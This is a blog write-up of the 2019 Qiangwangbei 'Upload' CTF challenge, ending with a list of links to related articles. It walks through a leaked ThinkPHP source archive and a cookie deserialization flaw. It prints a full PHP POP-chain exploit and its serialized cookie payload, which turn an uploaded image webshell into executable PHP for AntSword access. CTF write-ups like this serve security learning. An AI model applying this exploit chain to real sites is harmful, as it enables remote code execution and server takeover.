2019强网杯upload

写在前面的话:这题,搁着叠buff呢?

文件上传+反序列化

打开页面是熟悉的注册登录页面

注册再登录进去,给了个文件上传的口,上传个图片马,查看路径

一般这种都会有个源码泄露,有时候和SQL挂钩,有时候是反序列化

dirsearch扫目录

kali的dirsearch安装在另一篇笔记里有详细说明,这里就不再赘述。

在dirsearch目录下打开终端输入

python3 dirsearch -u URL -e* -t 20 -x 301,403,429,404,500,501
说明:
-e*  扫描网站所有脚本类型
-t 20 设置扫描的线程是20
-x 301,403,429,404,500,501 排除指定的网站状态码,用逗号隔开
一般有后台源码泄露的状态码是200

在根目录下扫出了www.tar.gz

下载(文件还挺大)

thinkphp框架

用vscode打开,tp5下,还存在.idea目录

.idea存放项目的配置信息,包括历史记录,版本控制信息等的一个目录

发现是thinkphp框架,一般核心文件在

application->web->controller

这里有四个php文件

反序列化

这里看到user的cookie进行了一个反序列化的操作。

首先访问大部分页面都会调用login_check的方法,先将传入的用户 Profile 反序列化,而后到数据库中检查相关信息是否一致。

Register.php里析构函数里如果注册就直接调用index(),也就是跳到主页。

Profile.php里有 _call_get 两个魔术方法,分别书写了在调用不可调用方法和不可调用成员变量时怎么做。_get 会直接从 except 里找,_call 会调用自身的 name 成员变量所指代的变量所指代的方法。

这两个魔术方法可以利用。

我是直接上传的png图片没有什么影响,如果上传其他类型的图片马会进行处理,强行把后缀名改成png。

我们的思路是,利用filename_tmp和filename把图片马解析为php文件,怎么才能解析呢,cookie不是可以反序列化嘛,可以把构造完的exp序列化编码后的传入cookie,再访问png文件就可以变成php文件了,再用蚁剑连。具体怎么构造呢,可以进入下面的逻辑,里面既有filename、filename_tmp,还能利用img

但是需要绕过上面两个判断,只要不赋值,不上传变量就行。

利用_get _call:except里['index'=>'img'](数组)实现一调用index变量就转到img变量,要利用img所在的逻辑只要ext存在就行,因为下面会调用update_img(),所以让img变量等于upload_img()函数,触发_call,正好是这三个逻辑所在的函数,成功顺理成章地调用了。

那如何调用index变量,让registed=false也就是registed不存在就可以进入析构函数所在的逻辑。

到这里基本就可以构造exp了

exp构造

注意在thinkphp框架里,要规定命名空间,不然不知道实例化的哪个类

<?php
namespace app\web\controller;//规定命名空间class Profile{public $checker;public $filename_tmp;public $filename;public $upload_menu;public $ext;public $img;public $except;public function __get($name){return $this->except[$name];//excep规定传入的变量是数组}public function __call($name, $arguments){if($this->{$name}){$this->{$this->{$name}}($arguments);}}
}class Register{public $checker;public $registed;public function __destruct(){if(!$this->registed){$this->checker->index();}}}
$profile=new Profile();
$profile->except=array('index'=>'img');//['index'=>'img']也能表示数组
$profile->img='upload_img';
$profile->filename_tmp='../upload/c47b21fcf8f0bc8b3920541abd8024fd/4a47a0db6e60853dedfcfdf08a5ca249.png';
$profile->filename='../upload/c47b21fcf8f0bc8b3920541abd8024fd/4a47a0db6e60853dedfcfdf08a5ca249.php';
$profile->ext=true;$register=new Register();
$register->registed=false;
$register->checker=$profile;
$register->checker->checker=0;//调用pop链防止退出程序echo urlencode(base64_encode(serialize($register)));

运行结果

TzoyNzoiYXBwXHdlYlxjb250cm9sbGVyXFJlZ2lzdGVyIjoyOntzOjc6ImNoZWNrZXIiO086MjY6ImFwcFx3ZWJcY29udHJvbGxlclxQcm9maWxlIjo3OntzOjc6ImNoZWNrZXIiO2k6MDtzOjEyOiJmaWxlbmFtZV90bXAiO3M6Nzk6Ii4uL3VwbG9hZC9jNDdiMjFmY2Y4ZjBiYzhiMzkyMDU0MWFiZDgwMjRmZC80YTQ3YTBkYjZlNjA4NTNkZWRmY2ZkZjA4YTVjYTI0OS5wbmciO3M6ODoiZmlsZW5hbWUiO3M6Nzk6Ii4uL3VwbG9hZC9jNDdiMjFmY2Y4ZjBiYzhiMzkyMDU0MWFiZDgwMjRmZC80YTQ3YTBkYjZlNjA4NTNkZWRmY2ZkZjA4YTVjYTI0OS5waHAiO3M6MTE6InVwbG9hZF9tZW51IjtOO3M6MzoiZXh0IjtiOjE7czozOiJpbWciO3M6MTA6InVwbG9hZF9pbWciO3M6NjoiZXhjZXB0IjthOjE6e3M6NToiaW5kZXgiO3M6MzoiaW1nIjt9fXM6ODoicmVnaXN0ZWQiO2I6MDt9

base64解码看看

O:27:"app\web\controller\Register":2:{s:7:"checker";O:26:"app\web\controller\Profile":7:{s:7:"checker";i:0;s:12:"filename_tmp";s:79:"../upload/c47b21fcf8f0bc8b3920541abd8024fd/4a47a0db6e60853dedfcfdf08a5ca249.png";s:8:"filename";s:79:"../upload/c47b21fcf8f0bc8b3920541abd8024fd/4a47a0db6e60853dedfcfdf08a5ca249.php";s:11:"upload_menu";N;s:3:"ext";b:1;s:3:"img";s:10:"upload_img";s:6:"except";a:1:{s:5:"index";s:3:"img";}}s:8:"registed";b:0;}

可以,很好,真不戳

拿flag

把user的cookie值改成运行出来的编码后的结果,根目录刷新几次,再访问/upload/c47b21fcf8f0bc8b3920541abd8024fd/4a47a0db6e60853dedfcfdf08a5ca249.php就可以发现已经被解析成了php文件,再用蚁剑连接即可。

写在后面的话:

本人在实际操作的时候,不知道什么原因,迟迟不能解析成php文件,压根没那个文件,还提示系统操作错误,连登录的原始页面都回不去了。索性就记录一下这道叠buff的题吧。强网杯,强!

参考笔记

[(44条消息) 强网杯 2019]Upload_penson by 小乌的博客-CSDN博客

[强网杯 2019]Upload - KingBridge - 博客园 (cnblogs.com)

[(44条消息) BUUCTF:强网杯 2019]Upload_末 初的博客-CSDN博客

2019强网杯upload相关推荐

  1. 2019强网杯 - 密码学-RSA-Coppersmith

    Coppersmith 相关攻击 学习资料: https://ctf-wiki.github.io/ctf-wiki/crypto/asymmetric/rsa/rsa_coppersmith_att ...

  2. 实战:2019 强网杯 final Web Writeup

    前言 强网杯线下赛打的非常happy也非常累,感觉这种赛制非常有意思,早就厌倦了web的AD,这种cms的0/1day的挖掘非常带劲,就是和0ctf连着打,感觉命都没了. 线下赛共有3道web,分别是 ...

  3. 2019强网杯crypto writeup

    本次write包含以下题目 copperstudy randomstudy 强网先锋-辅助 copperstudy 题目描述 nc 119.3.245.36 12345 连上去返回 [+]proof: ...

  4. 强网杯2019(高明的黑客强网先锋上单)

    强网杯2019(高明的黑客&强网先锋上单) 前言 这里主要是对强网杯web中高明的黑客和上单两道题进行一个复现回顾 再次感谢大佬提供的场景复现:https://www.zhaoj.in/rea ...

  5. 2019第三届强网杯-强网先锋-ADwp

    周末参加了一下强网杯,emmm这些题目不是我等弟弟所能解答的. 鲲or鳗orGame题目wp  https://blog.csdn.net/or1d1/article/details/90599659 ...

  6. php upload ctf,强网杯CTF防御赛ez_upload Writeup

    这是强网杯拟态防御线下赛遇到的web题目,本来是不打算分享Writeup的,但是由于问的人很多,于是这里分享给大家. ez_upload这题算是非常经典的堆叠black trick的题目,算是比较典型 ...

  7. 强网杯2019 Copperstudy

    强网杯2019 Copperstudy 靶机:node4.buuoj.cn:29678 第一次见靶机的题,找题目找了半天

  8. BUUCTF Web [强网杯 2019]随便注

    「作者主页」:士别三日wyx   此文章已录入专栏<网络攻防>,持续更新热门靶场的通关教程 「未知攻,焉知收」,在一个个孤独的夜晚,你完成了几百个攻防实验,回过头来才发现,已经击败了百分之 ...

  9. [强网杯 2019]随便注 —— 堆叠注入

                           [强网杯 2019]随便注 前言        个人观点,若有误请指教 解题思路及步骤 直接上'引号,结果直接报错了,证明存在sql注入漏洞. 判断当前表 ...

  10. [强网杯 2019]随便注 1

    题目[强网杯 2019]随便注 1 题目来源:https://buuoj.cn/challenges#[%E5%BC%BA%E7%BD%91%E6%9D%AF%202019]%E9%9A%8F%E4% ...

最新文章

  1. Vivado 双口RAM 的调用和实现
  2. OpenGL透视投影函数gluPerspective的参数含义之解析(图示)
  3. 洛谷P1162 填涂颜色
  4. 东京奥运会的官网的最上面是广告栏
  5. Linux目录结构及作用
  6. 页面布局与编写(续2)
  7. 力扣53. 最大子序和
  8. kubernetes安装_在 Kubernetes 上安装 Gitlab CI Runner
  9. eclipse里maven install时,报错提示jdk为无效的目标版本:1.7
  10. 虚拟机克隆后修改网络部分
  11. ios 图片合成 处理合成模糊 水印 模板图片合成
  12. 在线教育系统源码 知识付费系统源码 网络直播源码
  13. matlab 异常,Matlab 2017b 异常信息。程序奔溃。
  14. 响应式设计中的HTML5
  15. 纬度、经度和坐标系网格
  16. 艾艾贴Mysql主从同步
  17. 3天完成Open CPU开发!7天完成Costdown
  18. 台湾省应广科技PMS150C纯IO PWM单片机MCU
  19. python实验总结与分析_Python实验报告七
  20. 一款对话网页游戏-对话部分

热门文章

  1. ML面试1000题系列(71-80)
  2. 前端学习笔记之三PS
  3. 怎么将CAD图纸转化为PDF格式呢?教你两个妙招搞定!
  4. html字幕文本,HTML字幕
  5. linux光盘游戏,Linux下五个好玩的即时战略游戏
  6. Asp.net 万年历
  7. 运营商劫持是什么、运营商DNS网络劫持如何解决
  8. win32 x64 x86 区别
  9. 彩信文件服务器,彩信服务器怎么设置
  10. Java后端开发工作 - 写接口